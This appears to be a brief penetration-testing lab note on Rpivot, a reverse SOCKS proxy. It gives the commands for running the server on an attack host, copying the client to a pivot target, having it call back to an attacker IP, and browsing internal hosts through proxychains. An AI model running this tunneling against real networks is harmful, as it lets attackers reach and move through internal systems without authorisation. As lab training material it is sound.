[Rpivot](https://github.com/klsecservices/rpivot) is a reverse SOCKS proxy tool written in Python for SOCKS tunneling. Rpivot binds a machine inside a corporate network to an external server and exposes the client's local port on the server-side. ```shell sudo git clone https://github.com/klsecservices/rpivot.git ``` ## Running server.py from the Attack Host ```shell python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 ``` ## Running client.py from Pivot Target ```shell scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/ ``` ```shell python2.7 client.py --server-ip 10.10.14.18 --server-port 9999 ``` ```shell proxychains firefox-esr 172.16.5.135:80 ```